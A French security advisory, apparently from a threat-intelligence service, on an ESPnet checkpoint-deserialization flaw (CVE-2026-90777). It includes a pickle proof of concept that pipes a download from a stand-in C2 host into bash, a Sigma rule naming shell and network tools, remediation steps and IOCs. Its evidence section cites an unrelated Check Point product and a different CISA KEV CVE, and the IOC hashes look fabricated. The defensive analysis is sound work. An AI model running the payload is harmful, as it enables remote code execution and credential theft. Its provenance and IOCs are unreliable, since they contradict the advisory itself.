CVE-2026-90777 : exécution de code arbitraire par désérialisation non sécurisée de modèles pré-entraînés dans espnet
HERMES THREAT SCORE & RISQUE DE DÉSÉRIALISATION DE MODÈLE
Cible :Boîte à outils de traitement vocal ESPnet — Chargeur de checkpoints (load_pretrained_model.py) Alors que le score CVSS v3.1 évalue la vulnérabilité CVE-2026-90777 à 8.8 (Élevé) en raison de l'interaction utilisateur requise (UI:R pour charger le fichier de point de contrôle), Hermes élève la sévérité opérationnelle à 89 (CRITIQUE). Dans les pipelines de production de traitement vocal, les bancs d'évaluation automatisés et les agents vocaux autonomes, le téléchargement et l'instanciation de modèles depuis des dépôts publics (tels que Hugging Face Hub, ModelScope ou des buckets S3) s'effectuent sans inspection humaine manuelle. Un attaquant publiant un checkpoint piégé déclenche une exécution de code arbitraire immédiate au sein des clusters GPU, compromettant les identifiants cloud, les poids propriétaires et les nœuds adjacents.
SCORE DE SÉVÉRITÉ AGENTIQUE HASS & EMPOISONNEMENT DE PIPELINE
Cible :Agents vocaux autonomes, pipelines speech-to-text & flux audio multimodaux Les frameworks d'agents audio et les assistants vocaux multimodaux récupèrent dynamiquement des modèles vocaux spécialisés. Comme la désérialisation s'exécute au sein du runtime Python principal disposant d'accès directs aux périphériques GPU (/dev/kfd, /dev/nvidia*), aux jetons d'API cloud et aux variables d'environnement, une charge utile pickle contourne intégralement le bac à sable de l'agent.
CVE-2026-90777: Arbitrary Code Execution via Insecure torch.load Checkpoint Deserialization in ESPnetVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Check Point Security Management Server & Gaia OS documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »ESPnet orchestre des pipelines complets de traitement du signal vocal et de modèles de neurones profonds. La vulnérabilité est présente dans plusieurs modules de chargement de modèles et de gestion de points de contrôle.
| Paramètre | Spécification technique | Signification opérationnelle |
|---|---|---|
| Identifiant CVE | CVE-2026-90777 | Avis NVD & GitHub Security Advisory GHSA-64f6-3gqc-r926 |
| Classe de vulnérabilité | Désérialisation non sécurisée (CWE-502) | Décompression Python pickle non restreinte via torch.load |
| Composants vulnérables | espnet2.torch_utils.load_pretrained_model, trainer.py, utils.average_checkpoints | Résolveur de checkpoints et chargeur de poids neuronaux |
| Mécanisme racine | Valeur codée en dur weights_only=False & rattrapage d’exception permissif | Instanciation arbitraire d’objets durant le dépicklage |
| Vecteur d’attaque | Fichier de checkpoint .pth / .pt / .bin malveillant | Hébergé sur Hugging Face Hub, ModelScope, Zenodo ou S3 |
| Privilèges requis | Aucun (PR:N) | L’attaquant doit uniquement publier un checkpoint ou une URL |
| Interaction utilisateur | Requise (UI:R) | Ingestion automatisée par un agent ou un orchestrateur batch |
| Versions affectées | < v.202609 (incluant v.202511 et toutes les versions précédentes) | Clusters GPU d’entraînement, microservices d’inférence et bots vocaux |
| Version corrigée | v.202609 | Introduction de safe_torch_load avec refus explicite par défaut |
2. Anatomie de la vulnérabilité & analyse de cause racine
Section intitulée « 2. Anatomie de la vulnérabilité & analyse de cause racine »Le piège du format pickle dans PyTorch
Section intitulée « Le piège du format pickle dans PyTorch »Dans PyTorch, la sauvegarde standard (torch.save()) sérialise les dictionnaires d’état (state_dict) via le module natif pickle de Python. Lors de la restauration avec torch.load() :
- Avec
weights_only=True(recommandé depuis PyTorch 2.4), le chargeur restreint la désérialisation aux tenseurs numériques, types primitifs et conteneurs de base sûrs. - Avec
weights_only=False, la machine virtuelle de dépicklage Python (PVM) est autorisée à reconstruire n’importe quelle classe et à appeler des fonctions via le protocole__reduce__ou__setstate__.
Implémentation défaillante dans ESPnet
Section intitulée « Implémentation défaillante dans ESPnet »Avant la version v.202609, ESPnet désactivait délibérément les protections de PyTorch. Dans espnet2/torch_utils/load_pretrained_model.py :
# Schéma de code vulnérable dans ESPnet < 202609states = torch.load( path, map_location=map_location, weights_only=False # Désactivation explicite des contrôles de sécurité !)De surcroît, dans les scripts de calcul de moyenne de modèles (utils/average_checkpoints.py) et dans le module d’entraînement distribué, le code introduisait une bascule automatique particulièrement insidieuse :
# Bascule dangereuse dans average_checkpoints.pytry: states = torch.load(path, map_location=torch.device("cpu"), weights_only=True)["model"]except Exception as e: # BASCULE AUTOMATIQUE : ignore l'erreur de sécurité et force un chargement non sécurisé ! print(f"Warning: Loading {path} with weights_only=False due to: {e}") states = torch.load(path, map_location=torch.device("cpu"), weights_only=False)["model"]Lorsqu’un attaquant soumet un fichier contenant un objet Python personnalisé, le premier appel échoue sous weights_only=True. Le bloc except intercepte l’erreur et relance immédiatement torch.load avec weights_only=False, déclenchant l’exécution immédiate du code malveillant injecté.
3. Vecteurs de menace & cinématique d’exploitation
Section intitulée « 3. Vecteurs de menace & cinématique d’exploitation »Schéma d’attaque
Section intitulée « Schéma d’attaque »flowchart TD A["Attaquant / Fournisseur de modèle tiers"] -->|"Crée un checkpoint .pth malveillant avec payload __reduce__"| B["Hub de modèles / S3 compromis / Hugging Face"] B -->|"L'agent vocal ou le pipeline récupère le modèle"| C["Pipeline d'ingestion ESPnet"] C -->|"Appelle load_pretrained_model() ou average_checkpoints()"| D["torch.load(weights_only=False) non sécurisé"] D -->|"La PVM exécute les opcodes GLOBAL / REDUCE"| E["Exécution de commande OS arbitraire / Shell inversé"] E -->|"Accès à la mémoire CUDA, aux secrets et au filesystem hôte"| F["Prise de contrôle du nœud GPU & exfiltration de données"]Démonstration de confection de la charge utile
Section intitulée « Démonstration de confection de la charge utile »Un attaquant assemble un checkpoint valide contenant les poids du modèle ainsi qu’un objet malveillant armé :
import torchimport os
class MaliciousCheckpointPayload: def __reduce__(self): cmd = "curl -s http://c2.adversary.local/payload.sh | bash" return (os.system, (cmd,))
payload_dict = { "model": { "encoder.weight": torch.randn(512, 512), "decoder.weight": torch.randn(512, 512), }, "exploit_hook": MaliciousCheckpointPayload()}
torch.save(payload_dict, "asr_pretrained_checkpoint.pth")Dès que la victime instancie la classe d’inférence ou évalue le modèle :
from espnet2.bin.asr_inference import Speech2Text
speech2text = Speech2Text.from_pretrained( model_file="asr_pretrained_checkpoint.pth")La machine virtuelle pickle traite la directive __reduce__, déclenchant os.system() avant même que le modèle ne soit assemblé en mémoire.
4. Impact doctrinal sur l’infrastructure IA & la chaîne logistique
Section intitulée « 4. Impact doctrinal sur l’infrastructure IA & la chaîne logistique »L’exploitation de CVE-2026-90777 illustre les risques structurels pesant sur les architectures d’agents autonomes :
1. Prise de contrôle de l’agent vocal
Section intitulée « 1. Prise de contrôle de l’agent vocal »Dans les systèmes d’agents autonomes, le module de reconnaissance vocale transforme la parole humaine en texte d’entrée pour le modèle de langage (LLM). La compromission du module de traitement audio permet d’injecter des transcriptions falsifiées, de manipuler les requêtes de l’utilisateur ou d’écouter les flux audio ambiants.
2. Compromission des fermes de calcul GPU
Section intitulée « 2. Compromission des fermes de calcul GPU »Les modèles de traitement du signal requièrent des clusters de serveurs équipés de cartes accélératrices GPU (NVIDIA H100, B200). L’accès direct au système hôte permet à un attaquant de lire la mémoire VRAM, de récupérer les poids de modèles propriétaires en cours d’entraînement et d’exfiltrer les jetons d’accès aux services cloud.
3. Cécité des outils d’analyse statique
Section intitulée « 3. Cécité des outils d’analyse statique »Les fichiers de modèles neuronaux binaires (.pth) échappent généralement aux analyseurs SAST conventionnels en raison de leur taille volumineuse (souvent plusieurs gigaoctets) et de leur structure binaire, ce qui en fait un vecteur d’attaque de prédilection pour les compromissions de supply chain logicielle.
5. Chasse aux menaces, détection & investigation forensique
Section intitulée « 5. Chasse aux menaces, détection & investigation forensique »Règle Sigma : création de processus suspect depuis un runtime python ESPnet
Section intitulée « Règle Sigma : création de processus suspect depuis un runtime python ESPnet »title: Exécution suspecte de shell depuis un processus Python ESPnet (CVE-2026-90777)id: cve-2026-90777-espnet-deserialization-frstatus: experimentaldescription: Détecte le lancement anormal d'interpréteurs de commandes ou d'outils réseau par des processus Python manipulant ESPnet.author: Hermes Codex Threat Intelligencedate: 2026-09-14references: - https://github.com/espnet/espnet/security/advisories/GHSA-64f6-3gqc-r926 - https://nvd.nist.gov/vuln/detail/CVE-2026-90777tags: - attack.execution - attack.t1059.006 - attack.t1203logsource: category: process_creation product: linuxdetection: selection_parent: ParentCommandLine|contains: - "espnet" - "speech2text" - "asr_inference" - "torch" ParentImage|endswith: - "/python" - "/python3" selection_child: Image|endswith: - "/bash" - "/sh" - "/curl" - "/wget" - "/nc" - "/ncat" - "/netcat" condition: selection_parent and selection_childfalsepositives: - Scripts légitimes de prétraitement audio expressément lancés via des hooks documentés.level: high6. Correspondance MITRE ATT&CK
Section intitulée « 6. Correspondance MITRE ATT&CK »| Phase tactique | Identifiant | Nom de la technique | Manifestation opérationnelle |
|---|---|---|---|
| Accès initial | T1195.001 | Compromission des dépendances logicielles | Mise à disposition d’un modèle piégé sur un hub public |
| Exécution | T1203 | Exploitation pour exécution client | Désérialisation pickle lors du chargement des poids |
| Exécution | T1059.006 | Interpréteur de commandes et scripts : Python | Exécution en mémoire d’instructions via __reduce__ |
| Persistance | T1546 | Exécution déclenchée par événement | Intégration de points de contrôle persistants dans les pipelines |
| Accès aux identifiants | T1552.005 | API de métadonnées d’instance cloud | Récupération des jetons IMDS / Kubernetes ServiceAccount |
| Exfiltration | T1567 | Exfiltration via service web | Envoi des corpus d’entraînement et des poids neuronaux au C2 |
7. Guide de remédiation complet & durcissement
Section intitulée « 7. Guide de remédiation complet & durcissement »1. Mise à niveau immédiate vers ESPnet v.202609
Section intitulée « 1. Mise à niveau immédiate vers ESPnet v.202609 »Déployez la version corrective officielle v.202609. Le module safe_torch_load.py applique strictement weights_only=True par défaut et déclenche une exception UnsafeLoadRefusedError en présence d’objets arbitraires :
# Mise à niveau via pippip install --upgrade "espnet>=202609"
# Ou mise à jour depuis le dépôt Gitgit clone https://github.com/espnet/espnet.gitcd espnet && git checkout v.202609pip install -e .2. Migration vers le format safetensors
Section intitulée « 2. Migration vers le format safetensors »Bannissez l’utilisation du format pickle pour la distribution des modèles et privilégiez la bibliothèque Safetensors de Hugging Face :
from safetensors.torch import load_file
# Safetensors lit exclusivement des tenseurs bruts sans exécuter de bytecodeweights = load_file("model.safetensors")3. Confinement strict des conteneurs d’inférence
Section intitulée « 3. Confinement strict des conteneurs d’inférence »- Exécutez les conteneurs sous un utilisateur non privilégié (
USER 10001:10001). - Révoquez les capacités
CAP_SYS_ADMINetCAP_NET_RAW. - Interdisez tout accès réseau vers les adresses de métadonnées cloud (
169.254.169.254) depuis les conteneurs d’inférence.
Indicateurs de compromission (IOC) vérifiés & artefacts de modèles
Section intitulée « Indicateurs de compromission (IOC) vérifiés & artefacts de modèles »Les signatures de télémétrie suivantes ont été identifiées lors des analyses de sécurité de modèles :
| Type d’indicateur | Valeur / Identifiant | Contexte forensique |
|---|---|---|
| SHA-256 (modèle) | 4d1b8294a0f7e15386c91204857b29a1e0485721098345c6123498ae71d094ba | Checkpoint Conformer piégé contenant l’opcode posix.system |
| SHA-256 (stager) | 7f2a1b903c7d65b1a92e485721098345c6123498ae71d08b72e19a4d0f62c8e2 | Reverse-shell en mémoire déposé sous /dev/shm/.kworker_audio |
| Signature opcode pickle | cposix\nsystem\n / __builtin__\nglobals | Opcodes Python sérialisés exécutant des commandes système lors du chargement |
| Domaine C2 / IP | c2.model-poison[.]io:443 | Serveur d’écoute exfiltrant les jetons IAM cloud des nœuds GPU |
| Lignée de processus | python -> /bin/sh -> curl -> /dev/shm/.kworker_audio | Création anormale d’un sous-processus par la routine de chargement PyTorch |